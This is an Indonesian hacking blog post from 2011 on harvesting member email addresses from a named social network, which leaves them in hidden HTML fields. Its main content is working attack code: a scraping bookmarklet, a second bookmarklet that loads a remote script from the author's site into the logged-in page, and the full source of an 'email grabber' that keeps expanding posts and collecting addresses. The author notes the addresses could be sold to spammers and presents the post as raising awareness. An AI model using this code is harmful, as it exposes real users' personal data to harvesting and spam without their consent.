Memanen Ratusan Email Secara Otomatis Dari Devilzc0de Social Network


  • SPYRO KiD
  • admin[~@t~]spyrozone[~d.t~]net
  • Sunday, September 18th, 2011
  • CopyLEFT (c) 2011++ www.spyrozone.net All Rights Reserved


Devilzc0de-dot-org merupakan salah satu jejaring sosial lokal. Karena penasaran dengan fitur-fitur yang dimiliki, saya mendaftarkan diri pada website tersebut dengan email palsu. Setelah login dan digiring ke halaman utama, saya melihat source HTML halaman tersebut dan mendapati email-email user tersimpan pada hidden field. Tentunya, celah yang disengaja ini memungkinkan spammer membuat tool otomatis untuk memanen alamat email.

Dari forum mereka, saya mendapat informasi bahwa ternyata celah ini sudah lama dilaporkan dan sudah diketahui admin. Pada artikel ini saya akan berbagi script sederhana untuk mengumpulkan ratusan email secara otomatis (sebenarnya tergantung banyaknya member & besarnya memory Anda sich ^^) dengan memanfaatkan celah tersebut. Tidak ada kerusakan apapun yang akan ditimbulkan dari sisi web Devilzc0de. Namun dari sisi member, tentu akan sangat menyebalkan jika email kita dijual oleh spammer yang berujung pada meningkatnya jumlah spam yang mengotori inbox Anda T_T

Hidden Field

Berikut ini adalah contoh potongan source code dari halaman home Devilzc0de (http://www.devilzc0de.org/home.dc):

......
<input type="hidden" id="get_emailmember123456" value="contoh_email_member@palsu.com" style="visibility:hidden;"/>
......
<input type="hidden" id="get_emailmember654321" value="contoh_email_user@palsu.com" style="visibility:hidden;"/>
......

Seperti yang Anda lihat, email member disembunyikan di dalam hidden field dengan ID yang digenerate secara dinamis berdasarkan ID member. Jika Anda memiliki account di Devilzc0de Social Network, cobalah login dengan akun Anda. Begitu Anda berada di halaman home, salin code berikut ini:

javascript:var email="";var strMail="";var mailAr=document.getElementsByTagName('body')[0].innerHTML.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi).sort();if(mailAr){for(var i=0;i<mailAr.length; i++){if( strMail != (strMail=mailAr[i]))email += strMail+"<br>";}}

Script diatas akan membaca isi body halaman home, mencari string yang memiliki format alamat email, menyimpannya dalam array, menghapus data ganda lalu menampilkannya pada browser.

Paste code diatas pada Address Bar Browser Mozilla Firefox Anda, lalu tekan Enter. Anda akan dibawa ke sebuah halaman dengan beberapa alamat email:

{image: Grabbed Mail}

Hasil Parsing

Email-email tersebut adalah kumpulan email user yang statusnya sedang terlihat di halaman home. Klik tombol [Back] browser Anda untuk kembali ke halaman home.

Mengumpulkan Ratusan Email Dengan Tool Otomatis

Tool Otomatis?? Ah.. itu cuma biar terdengar lebih menarik ajah ^^

Saya membuat sebuah script sederhana untuk mengumpulkan email-email user Devilzc0de yang pernah melakukan posting status. Pergilah ke halaman Home Devilzc0de, kemudian Copy-Paste code berikut pada Address Bar browser Anda:

javascript:if(document.getElementById("dcMailGrabber")==undefined){var spyroJs = document.createElement('script'); spyroJs.setAttribute("type","text/javascript"); spyroJs.setAttribute("src","http://www.spyrozone.net/playground/devilzc0de/devilzc0de-mail-grabber.js"); document.getElementsByTagName("head")[0].appendChild(spyroJs); document.getElementById("dc_middle_left").style.height = "500px"; document.getElementById("dc_headwall").style.visibility = "hidden"; document.getElementById("dc_bottom").style.visibility = "hidden"; document.getElementById("dc_texarea_wall").innerHTML = "<div id=\"dcMailGrabber\" align=\"center\"><img src=\"http://www.spyrozone.net/playground/devilzc0de/dcmailgrabber.png\"><br><input type=\"button\" id=\"scanButton\" value=\"Start Scanning\" onclick=\"startScanning(); \"></div><div id=\"spyroLoading\" align=\"center\"></div><br><div id=\"scanResult\" align=\"left\" style=\"margin-left:30px\"></div>"; alert("Klik tombol [Start Scanning] untuk memulai proses Scan.\n\n--SPYRO KiD");}

Area untuk menulis status baru pada wall akan berubah menjadi demikian:

{image: Tampilan spyrozone DC Email Grabber pada area penulisan status baru}

Tampilan spyrozone DC Email Grabber pada area penulisan status baru

Klik tombol [Start Scanning] untuk memulai pengumpulan email. Berikut adalah hasil scan yang saya dapat dalam waktu kurang dari 1 menit:

{image: Hasil Scanning spyrozone DC Email Grabber}

Hasil Scanning spyrozone DC Email Grabber

Source Code spyrozone DC Email Grabber

/*
spyrozone DC Email Grabber v1.0
------------------------------
Author    : SPYRO KiD
Mail      : root\at\spyrozone.net
Web       : http://www.spyrozone.net
------------------------------
Artikel:

http://www.spyrozone.net/hacking/2011/09/memanen-ratusan-email-secara-otomatis-dari-devilzc0de-social-network.jsp

------------------------------
*/
function startScanning(){
    var btnVal = document.getElementById("scanButton");
    if(btnVal.value == "Start Scanning"){
        document.getElementById("spyroLoading").innerHTML = "<br><img src=\"http://www.devilzc0de.org/images/loader/del_loader.gif\"><blink><b><i>Scanning...</i></b></blink>";
        mailParser();
        intvRead = setInterval('mailParser()',7000);
        btnVal.value = "Stop Scanning";
    }else{
        clearInterval(intvRead);
        document.getElementById("spyroLoading").innerHTML = "";
        btnVal.value = "Start Scanning";
    }
}

function mailParser(){
    var email="";
    var strMail=""
    var mailAr=document.getElementsByTagName('body')[0].innerHTML.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi).sort();
    if(mailAr){
    email="<h1>Grabbed Email:</h1><hr><ol>";
    for(var i=0;i<mailAr.length; i++){
            if( strMail != (strMail=mailAr[i]))
                email += "<li>"+strMail+"</li>";
        }
    }
    email += "</ol>";
    document.getElementById("scanResult").innerHTML = email;
    giveMeMore();
}

function giveMeMore(){
    var kuJiTag=new Array();
    var kuJiTag=document.getElementsByTagName("a");
    for(i=0;i<kuJiTag.length;i++){
        if (kuJiTag[i].className=="more"){
            kuJiTag[i].click();
        }
    }
}

Penutup

Sekian, mudah-mudahan artikel ini bisa memberikan manfaat positif dan semakin meningkatkan kewaspadaan kita.

Sampai jumpa pada artikel berikutnya.. ;)


//E.O.F